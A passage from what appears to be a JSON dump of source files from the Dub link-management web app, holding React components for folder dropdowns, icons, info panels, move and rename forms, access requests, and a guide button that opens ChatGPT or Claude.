    "content": "\"use client\";\n\nimport { unsortedLinks } from \"@/lib/folder/constants\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useFolder from \"@/lib/swr/use-folder\";\nimport useFolders from \"@/lib/swr/use-folders\";\nimport useLinksCount from \"@/lib/swr/use-links-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FolderLinkCount, FolderSummary } from \"@/lib/types\";\nimport { FOLDERS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/folders\";\nimport { Button, Combobox, TooltipContent, useRouterStuff } from \"@dub/ui\";\nimport { cn, nFormatter } from \"@dub/utils\";\nimport { ChevronsUpDown } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { ReactNode, useEffect, useMemo, useState } from \"react\";\nimport { useDebounce } from \"use-debounce\";\nimport { useAddFolderModal } from \"../modals/add-folder-modal\";\nimport { FolderIcon } from \"./folder-icon\";\n\ninterface FolderDropdownProps {\n  variant?: \"inline\" | \"input\";\n  onFolderSelect?: (folder: FolderSummary) => void;\n  hideViewAll?: boolean;\n  hideFolderIcon?: boolean;\n  buttonClassName?: string;\n  buttonTextClassName?: string;\n  iconClassName?: string;\n  disableAutoRedirect?: boolean; // decide if we should auto redirect to the folder after it's created\n  selectedFolderId?: string;\n  loadingPlaceholder?: ReactNode;\n}\n\nexport const FolderDropdown = ({\n  variant = \"inline\",\n  onFolderSelect,\n  hideViewAll = false,\n  hideFolderIcon = false,\n  buttonClassName,\n  buttonTextClassName,\n  iconClassName,\n  disableAutoRedirect = false,\n  selectedFolderId,\n  loadingPlaceholder,\n}: FolderDropdownProps) => {\n  const router = useRouter();\n  const { slug, plan, defaultFolderId } = useWorkspace();\n  const { queryParams } = useRouterStuff();\n\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  // Whether to fetch search results from the backend\n  const [useAsync, setUseAsync] = useState(false);\n\n  const { folders, loading } = useFolders({\n    query: useAsync ? { search: debouncedSearch } : undefined,\n    options: {\n      keepPreviousData: true,\n    },\n  });\n\n  // If at any point the number of folders is greater than the max page size, we should fetch based on search\n  useEffect(() => {\n    if (folders && !useAsync && folders.length >= FOLDERS_MAX_PAGE_SIZE)\n      setUseAsync(true);\n  }, [folders, useAsync]);\n\n  const { data: folderLinksCount } = useLinksCount<FolderLinkCount[]>({\n    query: {\n      groupBy: \"folderId\",\n    },\n    ignoreParams: true,\n  });\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const [selectedFolder, setSelectedFolder] = useState<FolderSummary | null>(\n    unsortedLinks,\n  );\n\n  const { folderId: currentFolderId } = useCurrentFolderId();\n  const folderId = selectedFolderId || currentFolderId;\n\n  const { folder: selectedFolderData } = useFolder({\n    folderId,\n    enabled: !!folderId,\n  });\n\n  const { AddFolderModal, setShowAddFolderModal } = useAddFolderModal({\n    onSuccess: (folder) => {\n      setSelectedFolder(folder);\n      onFolderSelect?.(folder);\n\n      if (!disableAutoRedirect) {\n        router.push(\n          `/${slug}/links${folderId && folderId !== \"unsorted\" ? `?folderId=${folder.id}` : \"\"}`,\n        );\n      }\n    },\n  });\n\n  // Update selected folder when folderId changes and selectedFolderData is available\n  useEffect(() => {\n    if (selectedFolderData && folderId === selectedFolderData.id) {\n      setSelectedFolder(selectedFolderData);\n      onFolderSelect?.(selectedFolderData);\n    } else if (!folderId || folderId === \"unsorted\") {\n      setSelectedFolder(unsortedLinks);\n      onFolderSelect?.(unsortedLinks);\n    }\n  }, [folderId, selectedFolderData]);\n\n  const { canAddFolder } = getPlanCapabilities(plan);\n\n  const folderOptions = useMemo(() => {\n    const allFolders = [\n      unsortedLinks,\n      ...(folders || []),\n      ...(selectedFolderData &&\n      !debouncedSearch &&\n      !folders?.find(({ id }) => id === selectedFolderData.id)\n        ? [selectedFolderData]\n        : []),\n    ];\n    if (folderId) {\n      router.prefetch(`/${slug}/links?folderId=${folderId}`);\n    }\n\n    return [\n      ...allFolders.map((folder) => ({\n        value: folder.id,\n        label: folder.name,\n        icon: <FolderIcon className=\"mr-1\" folder={folder} shape=\"square\" />,\n        meta: {\n          ...folder,\n          linksCount:\n            folderLinksCount?.find(\n              ({ folderId }) =>\n                folderId === folder.id ||\n                (folder.id === \"unsorted\" && folderId === null),\n            )?._count || 0,\n        },\n        first: folder.id === \"unsorted\",\n      })),\n      {\n        value: \"create\",\n        label: \"Create new folder\",\n        icon: (\n          <FolderIcon\n            className=\"mr-1\"\n            folder={{ id: \"new\", accessLevel: null }}\n            shape=\"square\"\n          />\n        ),\n        disabledTooltip: !canAddFolder ? (\n          <TooltipContent\n            title=\"You can only use Link Folders on a Pro plan and above. Upgrade to Pro to continue.\"\n            cta=\"Upgrade to Pro\"\n            href={`/${slug}/upgrade`}\n          />\n        ) : undefined,\n      },\n    ];\n  }, [folders, selectedFolderData, canAddFolder, slug, debouncedSearch]);\n\n  const selectedOption = useMemo(() => {\n    if (!selectedFolder) return null;\n    return {\n      value: selectedFolder.id,\n      label: selectedFolder.name,\n      icon: (\n        <FolderIcon className=\"mr-1\" folder={selectedFolder} shape=\"square\" />\n      ),\n      meta: selectedFolder,\n    };\n  }, [selectedFolder]);\n\n  if (folderId && folderId !== \"unsorted\" && !selectedFolderData) {\n    return loadingPlaceholder ?? <FolderDropdownPlaceholder />;\n  }\n\n  return (\n    <>\n      <AddFolderModal />\n      <Combobox\n        selected={selectedOption}\n        setSelected={(option) => {\n          if (option?.value === \"create\") {\n            setShowAddFolderModal(true);\n            return;\n          }\n\n          const folder = option?.meta;\n          if (folder) {\n            setSelectedFolder(folder);\n            onFolderSelect\n              ? onFolderSelect(folder)\n              : queryParams({\n                  ...(folder.id === \"unsorted\" && !defaultFolderId\n                    ? { del: \"folderId\" }\n                    : { set: { folderId: folder.id } }),\n                });\n          }\n        }}\n        inputRight={\n          hideViewAll ? undefined : (\n            <Link\n              href={`/${slug}/settings/library/folders`}\n              onClick={() => setOpenPopover(false)}\n              className=\"rounded-md border border-neutral-200 px-2 py-1 text-xs transition-colors hover:bg-neutral-100\"\n            >\n              View All\n            </Link>\n          )\n        }\n        options={loading ? undefined : folderOptions}\n        icon={\n          !(selectedFolder?.id === \"unsorted\" && hideFolderIcon) &&\n          selectedFolder ? (\n            <FolderIcon\n              folder={selectedFolder}\n              shape=\"square\"\n              className=\"hidden md:block\"\n              iconClassName={iconClassName}\n            />\n          ) : undefined\n        }\n        optionRight={(option) =>\n          option.meta && option.meta.linksCount ? (\n            <span className=\"text-xs text-neutral-500\">\n              {option.meta.type === \"mega\"\n                ? \"10,000+\"\n                : nFormatter(option.meta.linksCount, { full: true })}\n            </span>\n          ) : undefined\n        }\n        caret={\n          <ChevronsUpDown className=\"ml-2 size-4 shrink-0 text-neutral-400\" />\n        }\n        buttonProps={{\n          className: cn(\n            \"group flex items-center gap-2 rounded-lg px-2 py-1 w-fit\",\n            variant === \"inline\" && \"border-none !ring-0 bg-transparent\",\n            \"transition-all hover:bg-neutral-100 active:bg-neutral-200 data-[state=open]:bg-neutral-100\",\n            buttonClassName,\n          ),\n          textWrapperClassName: cn(\n            \"min-w-0 truncate text-left text-lg font-semibold leading-7 text-content-emphasis\",\n            buttonTextClassName,\n          ),\n        }}\n        optionClassName=\"md:min-w-[250px]\"\n        searchPlaceholder=\"Search folders...\"\n        matchTriggerWidth={variant === \"input\"}\n        emptyState={\n          <div className=\"flex w-full flex-col items-center gap-2 py-4\">\n            No folders found\n            <Button\n              onClick={() => {\n                setOpenPopover(false);\n                setShowAddFolderModal(true);\n              }}\n              variant=\"primary\"\n              className=\"h-7 w-fit px-2\"\n              disabledTooltip={\n                !canAddFolder ? (\n                  <TooltipContent\n                    title=\"You can only use Link Folders on a Pro plan and above. Upgrade to Pro to continue.\"\n                    cta=\"Upgrade to Pro\"\n                    href={`/${slug}/upgrade`}\n                  />\n                ) : undefined\n              }\n              text=\"Create folder\"\n            />\n          </div>\n        }\n        open={openPopover}\n        onOpenChange={setOpenPopover}\n        shouldFilter={!useAsync}\n        onSearchChange={setSearch}\n      >\n        {selectedFolder ? selectedFolder.name : \"Links\"}\n      </Combobox>\n    </>\n  );\n};\n\nconst FolderDropdownPlaceholder = () => {\n  return <div className=\"h-10 w-40 animate-pulse rounded-lg bg-neutral-200\" />;\n};\n"
  },
  {
    "path": "apps/web/ui/folders/folder-icon.tsx",
    "content": "import { FolderAccessLevel, Folder as FolderProps } from \"@/lib/types\";\nimport {\n  Folder,\n  FolderBookmark,\n  FolderLock,\n  FolderPlus,\n  FolderShield,\n} from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\n\nconst folderIconsMap: Record<\n  FolderAccessLevel | \"new\" | \"unsorted\" | \"none\",\n  {\n    borderColor: string;\n    bgColor: string;\n    icon: React.ElementType;\n    defaultIconClassName: string;\n  }\n> = {\n  read: {\n    borderColor: \"border-indigo-200\",\n    bgColor: \"bg-indigo-100\",\n    icon: FolderShield,\n    defaultIconClassName: \"text-[#3730A3]\",\n  },\n  write: {\n    borderColor: \"border-blue-200\",\n    bgColor: \"bg-blue-100\",\n    icon: Folder,\n    defaultIconClassName: \"text-blue-800\",\n  },\n  none: {\n    borderColor: \"border-orange-200\",\n    bgColor: \"bg-orange-100\",\n    icon: FolderLock,\n    defaultIconClassName: \"text-[#9A3412]\",\n  },\n  new: {\n    borderColor: \"border-neutral-200\",\n    bgColor: \"bg-neutral-100\",\n    icon: FolderPlus,\n    defaultIconClassName: \"text-[#1F2937]\",\n  },\n  unsorted: {\n    borderColor: \"border-green-200\",\n    bgColor: \"bg-green-100\",\n    icon: FolderBookmark,\n    defaultIconClassName: \"text-[#166534]\",\n  },\n} as const;\n\nconst determineFolderIcon = (\n  folder: Pick<FolderProps, \"id\" | \"accessLevel\">,\n) => {\n  if ([\"new\", \"unsorted\"].includes(folder.id)) {\n    return folder.id;\n  }\n\n  if (folder.accessLevel) {\n    return folder.accessLevel;\n  }\n\n  return \"none\";\n};\n\nexport const FolderIcon = ({\n  folder,\n  shape = \"rounded\",\n  className,\n  innerClassName,\n  iconClassName,\n}: {\n  folder?: Pick<FolderProps, \"id\" | \"accessLevel\">;\n  shape?: \"rounded\" | \"square\";\n  className?: string;\n  innerClassName?: string;\n  iconClassName?: string;\n}) => {\n  const iconType = folder ? determineFolderIcon(folder) : \"write\";\n  const {\n    borderColor,\n    bgColor,\n    icon: Icon,\n    defaultIconClassName,\n  } = folderIconsMap[iconType];\n\n  return (\n    <div\n      className={cn(\n        \"border\",\n        shape === \"rounded\" ? \"rounded-full bg-white p-0.5\" : \"rounded-md\",\n        borderColor,\n        shape !== \"rounded\" && bgColor,\n        className,\n      )}\n    >\n      <div\n        className={cn(\n          shape === \"rounded\" ? \"rounded-full p-2\" : \"rounded-md p-1\",\n          bgColor,\n          innerClassName,\n        )}\n      >\n        <Icon className={cn(\"size-4\", defaultIconClassName, iconClassName)} />\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/folders/folder-info-panel.tsx",
    "content": "import { FOLDER_WORKSPACE_ACCESS } from \"@/lib/folder/constants\";\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useFolder from \"@/lib/swr/use-folder\";\nimport { useFolderUsers } from \"@/lib/swr/use-folder-users\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FolderUser } from \"@/lib/types\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { BlurImage, LoadingSpinner } from \"@dub/ui\";\nimport { PropsWithChildren } from \"react\";\nimport { FolderActions } from \"./folder-actions\";\n\nexport function FolderInfoPanel() {\n  const {\n    id: workspaceId,\n    logo: workspaceLogo,\n    name: workspaceName,\n  } = useWorkspace();\n  const { folderId } = useCurrentFolderId();\n  const { folder } = useFolder({ folderId });\n\n  const { users, isLoading: isLoadingUsers } = useFolderUsers({\n    folderId: folderId,\n    enabled: !!folder,\n  });\n\n  if (!folder)\n    return (\n      <div className=\"flex size-full items-center justify-center\">\n        <LoadingSpinner />\n      </div>\n    );\n\n  const owners = users?.filter((u) => u.role === \"owner\");\n  const editors = users?.filter((u) => u.role === \"editor\");\n  const viewers = users?.filter((u) => u.role === \"viewer\");\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      {folder.description && (\n        <div className=\"flex flex-col gap-2\">\n          <SectionHeader>Description</SectionHeader>\n          <p className=\"text-content-subtle whitespace-pre-wrap text-sm\">\n            {folder.description}\n          </p>\n        </div>\n      )}\n\n      <div className=\"flex flex-col gap-2\">\n        <SectionHeader>Workspace</SectionHeader>\n        <div className=\"flex items-center gap-3\">\n          <BlurImage\n            src={workspaceLogo || `https://avatar.vercel.sh/${workspaceId}`}\n            referrerPolicy=\"no-referrer\"\n            width={36}\n            height={36}\n            alt={`${workspaceName} logo`}\n            className=\"size-9 shrink-0 overflow-hidden rounded-full\"\n            draggable={false}\n          />\n          <div>\n            <span className=\"text-content-emphasis min-w-0 truncate text-sm font-semibold\">\n              {workspaceName}\n            </span>\n            <div className=\"text-content-default bg-bg-emphasis w-fit rounded-md px-1 text-xs font-semibold\">\n              {folder.accessLevel\n                ? FOLDER_WORKSPACE_ACCESS[folder.accessLevel]\n                : \"No access\"}\n            </div>\n          </div>\n        </div>\n      </div>\n\n      {Boolean(isLoadingUsers || owners?.length) && (\n        <div className=\"flex flex-col gap-2\">\n          <SectionHeader>Owner</SectionHeader>\n          <UserList users={owners} isLoading={isLoadingUsers} />\n        </div>\n      )}\n\n      {Boolean(isLoadingUsers || editors?.length) && (\n        <div className=\"flex flex-col gap-2\">\n          <SectionHeader>Editor</SectionHeader>\n          <UserList users={editors} isLoading={isLoadingUsers} />\n        </div>\n      )}\n\n      {Boolean(isLoadingUsers || viewers?.length) && (\n        <div className=\"flex flex-col gap-2\">\n          <SectionHeader>Viewer</SectionHeader>\n          <UserList users={viewers} isLoading={isLoadingUsers} />\n        </div>\n      )}\n    </div>\n  );\n}\n\nconst SectionHeader = ({ children }: PropsWithChildren) => (\n  <h3 className=\"text-content-default text-sm font-semibold\">{children}</h3>\n);\n\nconst UserList = ({\n  users,\n  isLoading,\n}: {\n  users?: FolderUser[];\n  isLoading?: boolean;\n}) => (\n  <div className=\"flex flex-col gap-3\">\n    {isLoading\n      ? [...Array(3)].map((_, index) => (\n          <div key={index} className=\"flex items-center gap-3\">\n            <div className=\"size-8 animate-pulse rounded-full bg-neutral-200\" />\n            <div className=\"flex flex-col\">\n              <div className=\"h-4 w-24 animate-pulse rounded bg-neutral-200\" />\n              <div className=\"mt-1 h-3 w-32 animate-pulse rounded bg-neutral-200\" />\n            </div>\n          </div>\n        ))\n      : users?.map((user) => (\n          <div key={user.id} className=\"flex min-w-12 items-center gap-3\">\n            <UserAvatar user={user} className=\"size-8\" />\n            <div className=\"min-w-0\">\n              <h3 className=\"truncate text-xs font-medium text-neutral-800\">\n                {user?.name || user?.email || \"Anonymous User\"}\n              </h3>\n              <p className=\"truncate text-xs font-normal text-neutral-400\">\n                {user.email}\n              </p>\n            </div>\n          </div>\n        ))}\n  </div>\n);\n\nexport function FolderInfoPanelControls() {\n  const { folderId } = useCurrentFolderId();\n  const { folder } = useFolder({ folderId });\n\n  if (!folder) return null;\n\n  return <FolderActions folder={folder} className=\"border-subtle border\" />;\n}\n"
  },
  {
    "path": "apps/web/ui/folders/move-link-form.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ExpandedLinkProps } from \"@/lib/types\";\nimport { Button, LinkLogo } from \"@dub/ui\";\nimport { getApexDomain, getPrettyUrl, pluralize } from \"@dub/utils\";\nimport { FormEvent, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { FolderDropdown } from \"./folder-dropdown\";\n\ninterface MoveLinkFormProps {\n  links: ExpandedLinkProps[];\n  onSuccess: (folderId: string | null) => void;\n  onCancel: () => void;\n}\n\nexport const MoveLinkForm = ({\n  links,\n  onSuccess,\n  onCancel,\n}: MoveLinkFormProps) => {\n  const workspace = useWorkspace();\n  const [isMoving, setIsMoving] = useState(false);\n\n  const [selectedFolderId, setSelectedFolderId] = useState<string>(\n    links[0].folderId ?? \"unsorted\",\n  );\n\n  // Move link to selected folder\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    if (!selectedFolderId) {\n      return;\n    }\n\n    e.preventDefault();\n    setIsMoving(true);\n\n    const response = await fetch(\n      `/api/links/bulk?workspaceId=${workspace.id}`,\n      {\n        method: \"PATCH\",\n        body: JSON.stringify({\n          linkIds: links.map(({ id }) => id),\n          data: {\n            folderId: selectedFolderId === \"unsorted\" ? null : selectedFolderId,\n          },\n        }),\n      },\n    );\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      setIsMoving(false);\n      return;\n    }\n\n    mutate(\n      (key) => typeof key === \"string\" && key.startsWith(\"/api/links\"),\n      undefined,\n      { revalidate: true },\n    );\n\n    toast.success(`${pluralize(\"Link\", links.length)} moved successfully!`);\n    onSuccess(selectedFolderId === \"unsorted\" ? null : selectedFolderId);\n  };\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        {links.length === 1 && (\n          <LinkLogo apexDomain={getApexDomain(links[0].url)} className=\"mb-4\" />\n        )}\n        <h3 className=\"truncate text-lg font-medium leading-none\">\n          Move{\" \"}\n          {links.length > 1\n            ? `${links.length} links`\n            : getPrettyUrl(links[0].shortLink)}\n        </h3>\n      </div>\n\n      <div className=\"bg-neutral-50 sm:rounded-b-2xl\">\n        <form onSubmit={onSubmit}>\n          <div className=\"flex flex-col gap-y-6 px-4 text-left sm:px-6\">\n            <div className=\"mt-6\">\n              <label className=\"text-sm font-normal text-neutral-500\">\n                Folder\n              </label>\n              <div className=\"mt-1\">\n                <FolderDropdown\n                  variant=\"input\"\n                  hideViewAll={true}\n                  disableAutoRedirect={true}\n                  onFolderSelect={(folder) => {\n                    setSelectedFolderId(folder.id);\n                  }}\n                  buttonClassName=\"w-full max-w-full md:max-w-full border border-neutral-200 bg-white\"\n                  buttonTextClassName=\"text-base md:text-base font-normal\"\n                  selectedFolderId={selectedFolderId ?? undefined}\n                />\n              </div>\n            </div>\n          </div>\n\n          <div className=\"mt-8 flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-8 w-fit px-3\"\n              onClick={onCancel}\n              disabled={isMoving}\n            />\n            <Button\n              type=\"submit\"\n              text={\n                isMoving\n                  ? \"Moving...\"\n                  : `Move ${pluralize(\"link\", links.length)}`\n              }\n              disabled={isMoving}\n              loading={isMoving}\n              className=\"h-8 w-fit px-3\"\n            />\n          </div>\n        </form>\n      </div>\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/folders/rename-folder-form.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Folder } from \"@dub/prisma/client\";\nimport { Button, useMediaQuery } from \"@dub/ui\";\nimport { FormEvent, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\ninterface RenameFolderFormProps {\n  onSuccess: () => void;\n  onCancel: () => void;\n  folder: Pick<Folder, \"id\" | \"name\">;\n}\n\nexport const RenameFolderForm = ({\n  onSuccess,\n  onCancel,\n  folder,\n}: RenameFolderFormProps) => {\n  const workspace = useWorkspace();\n  const { isMobile } = useMediaQuery();\n  const [isUpdating, setIsUpdating] = useState(false);\n  const [name, setName] = useState<string | undefined>(folder.name);\n\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsUpdating(true);\n\n    const response = await fetch(\n      `/api/folders/${folder.id}?workspaceId=${workspace.id}`,\n      {\n        method: \"PATCH\",\n        body: JSON.stringify({ name }),\n      },\n    );\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      setIsUpdating(false);\n      return;\n    }\n\n    await mutate(`/api/folders?workspaceId=${workspace.id}`);\n    toast.success(\"Folder renamed successfully!\");\n    onSuccess();\n  };\n\n  return (\n    <form onSubmit={onSubmit} className=\"bg-neutral-50\">\n      <div className=\"flex flex-col gap-6 px-4 text-left sm:px-6\">\n        <div className=\"mt-6\">\n          <label className=\"text-sm font-normal text-neutral-500\">Name</label>\n          <div className=\"mt-2\">\n            <div className=\"flex rounded-md border border-neutral-300 bg-white\">\n              <input\n                type=\"text\"\n                required\n                autoComplete=\"off\"\n                className=\"block w-full rounded-md border-0 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n                aria-invalid=\"true\"\n                placeholder=\"Marketing\"\n                autoFocus={!isMobile}\n                value={name}\n                onChange={(e) => {\n                  setName(e.target.value);\n                }}\n              />\n            </div>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"mt-8 flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n        <Button\n          type=\"button\"\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-9 w-fit\"\n          onClick={onCancel}\n        />\n        <Button\n          type=\"submit\"\n          text=\"Save\"\n          disabled={!name || name === folder.name}\n          loading={isUpdating}\n          className=\"h-9 w-fit\"\n        />\n      </div>\n    </form>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/folders/request-edit-button.tsx",
    "content": "\"use client\";\n\nimport { requestFolderEditAccessAction } from \"@/lib/actions/folders/request-folder-edit-access\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { useFolderAccessRequests } from \"@/lib/swr/use-folder-access-requests\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nexport const RequestFolderEditAccessButton = ({\n  folderId,\n  workspaceId,\n  variant = \"outline\",\n}: {\n  folderId: string;\n  workspaceId: string;\n  variant?: \"outline\" | \"primary\";\n}) => {\n  const { plan } = useWorkspace();\n  const [requestSent, setRequestSent] = useState(false);\n  const { accessRequests, isLoading } = useFolderAccessRequests();\n\n  const { executeAsync, isPending } = useAction(requestFolderEditAccessAction, {\n    onSuccess: async () => {\n      toast.success(\"Request sent to folder owner.\");\n      setRequestSent(true);\n      await mutate(\n        (key) => typeof key === \"string\" && key.startsWith(`/api/folders`),\n      );\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const isRequested = accessRequests?.some(\n    (accessRequest) => accessRequest.folderId === folderId,\n  );\n\n  const { canManageFolderPermissions } = getPlanCapabilities(plan);\n\n  if (!canManageFolderPermissions || isLoading) {\n    return null;\n  }\n\n  return (\n    <Button\n      text={\n        isPending\n          ? \"Sending...\"\n          : requestSent || isRequested\n            ? \"Request sent\"\n            : \"Ask to edit\"\n      }\n      variant={variant}\n      className={cn(\n        variant === \"outline\" &&\n          \"h-8 w-fit rounded-md border border-neutral-200 text-neutral-900\",\n      )}\n      disabled={isRequested || requestSent}\n      loading={isPending}\n      onClick={async () =>\n        await executeAsync({\n          workspaceId,\n          folderId,\n        })\n      }\n      disabledTooltip={\n        isRequested\n          ? \"You already have a pending request to this folder.\"\n          : undefined\n      }\n    />\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/folders/simple-folder-card.tsx",
    "content": "import { FolderSummary } from \"@/lib/types\";\nimport { cn } from \"@dub/utils/src\";\nimport { FolderIcon } from \"./folder-icon\";\n\nexport function SimpleFolderCard({\n  folder,\n  className,\n}: {\n  folder: FolderSummary;\n  className?: string;\n}) {\n  return (\n    <div\n      className={cn(\n        \"flex items-center gap-3 rounded-xl border border-neutral-200 bg-white px-4 py-3.5\",\n        className,\n      )}\n    >\n      <div className=\"relative flex-none\">\n        <FolderIcon folder={folder} shape=\"rounded\" />\n      </div>\n      <div className=\"flex min-w-0 flex-col text-sm leading-tight\">\n        <span className=\"truncate text-sm font-semibold text-neutral-800\">\n          {folder.name}\n        </span>\n        {folder.description && (\n          <span className=\"truncate text-xs text-neutral-500\">\n            {folder.description}\n          </span>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/folders/utils.ts",
    "content": "import { FolderSummary } from \"@/lib/types\";\n\nexport const isDefaultFolder = ({\n  folder,\n  defaultFolderId,\n}: {\n  folder: FolderSummary;\n  defaultFolderId: string | null | undefined;\n}) => {\n  const folderId = folder.id === \"unsorted\" ? null : folder.id;\n\n  return folderId === defaultFolderId;\n};\n"
  },
  {
    "path": "apps/web/ui/guides/guide-action-button.tsx",
    "content": "import {\n  Anthropic,\n  BookOpen,\n  Button,\n  Check,\n  OpenAI,\n  Popover,\n  useCopyToClipboard,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ArrowUpRight, ChevronDown, Copy } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { IntegrationGuide } from \"./integrations\";\n\nexport const GuideActionButton = ({\n  guide,\n  markdown,\n}: {\n  guide: IntegrationGuide;\n  markdown: string;\n}) => {\n  const [openDropdown, setOpenDropdown] = useState(false);\n\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  const prompt = `Read from ${guide.url} so I can ask questions about it.`;\n\n  return (\n    <div className=\"border-border-subtle flex h-8 items-center overflow-hidden rounded-lg border\">\n      <Link href={guide.url} target=\"_blank\" rel=\"noopener noreferrer\">\n        <Button\n          text=\"Read full guide\"\n          variant=\"secondary\"\n          className=\"rounded-none border-0 px-3\"\n          icon={<BookOpen className=\"size-3.5\" />}\n        />\n      </Link>\n\n      <div className=\"h-8 w-px bg-neutral-200\" />\n\n      <Popover\n        content={\n          <div className=\"flex w-full flex-col space-y-px rounded-lg bg-white p-1 sm:min-w-64\">\n            <button\n              className=\"flex w-full cursor-pointer items-center gap-2 rounded-md p-2 text-sm text-neutral-600 transition-colors hover:bg-neutral-100\"\n              onClick={() =>\n                copyToClipboard(markdown, {\n                  onSuccess: () => {\n                    toast.success(\"Content copied as markdown\");\n                  },\n                })\n              }\n            >\n              <div className=\"flex h-8 w-8 items-center justify-center rounded border border-neutral-200 transition-colors hover:border-neutral-300\">\n                {copied ? (\n                  <Check className=\"size-4 text-neutral-600\" />\n                ) : (\n                  <Copy className=\"size-4 text-neutral-600\" />\n                )}\n              </div>\n              <div className=\"flex flex-col items-start\">\n                <span className=\"font-medium\">Copy content</span>\n                <span className=\"text-xs text-neutral-500\">\n                  Copy page as Markdown for LLMs\n                </span>\n              </div>\n            </button>\n\n            <button\n              className=\"flex w-full cursor-pointer items-center gap-2 rounded-md p-2 text-sm text-neutral-600 transition-colors hover:bg-neutral-100\"\n              onClick={() => {\n                const chatgptUrl = `https://chatgpt.com?hints=search&prompt=${encodeURIComponent(prompt)}`;\n                console.log(\"chatgptUrl\", chatgptUrl);\n                window.open(chatgptUrl, \"_blank\", \"noopener,noreferrer\");\n              }}\n            >\n              <div className=\"flex h-8 w-8 items-center justify-center rounded border border-neutral-200 transition-colors hover:border-neutral-300\">\n                <OpenAI className=\"size-4 text-neutral-600\" />\n              </div>\n              <div className=\"flex flex-1 flex-col items-start\">\n                <div className=\"flex items-center gap-1\">\n                  <span className=\"font-medium\">Open in ChatGPT</span>\n                  <ArrowUpRight className=\"size-3.5 text-neutral-600\" />\n                </div>\n                <span className=\"text-xs text-neutral-500\">\n                  Ask questions about this step\n                </span>\n              </div>\n            </button>\n\n            <button\n              className=\"flex w-full cursor-pointer items-center gap-2 rounded-md p-2 text-sm text-neutral-600 transition-colors hover:bg-neutral-100\"\n              onClick={() => {\n                const claudeUrl = `https://claude.ai/new?q=${encodeURIComponent(prompt)}`;\n                window.open(claudeUrl, \"_blank\", \"noopener,noreferrer\");\n              }}\n            >\n              <div className=\"flex h-8 w-8 items-center justify-center rounded border border-neutral-200 transition-colors hover:border-neutral-300\">\n                <Anthropic className=\"size-4 text-neutral-600\" />\n              </div>\n              <div className=\"flex flex-1 flex-col items-start\">\n                <div className=\"flex items-center gap-1\">\n                  <span className=\"font-medium\">Open in Claude</span>\n                  <ArrowUpRight className=\"size-3.5 text-neutral-600\" />\n                </div>\n                <span className=\"text-xs text-neutral-500\">\n                  Ask questions about this step\n                </span>\n              </div>\n            </button>\n          </div>\n        }\n        align=\"end\"\n        openPopover={openDropdown}\n        setOpenPopover={setOpenDropdown}\n      >\n        <button\n          onClick={() => setOpenDropdown(!openDropdown)}\n          className={cn(\n            \"flex h-8 items-center justify-center rounded-none border-0 bg-white px-2 transition-colors\",\n            \"hover:bg-neutral-50 focus-visible:ring-2 focus-visible:ring-black/50\",\n            openDropdown && \"bg-neutral-50\",\n          )}\n        >\n          <ChevronDown className=\"size-3.5 text-neutral-600\" />\n        </button>\n      </Popover>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/guides/guide-list.tsx",
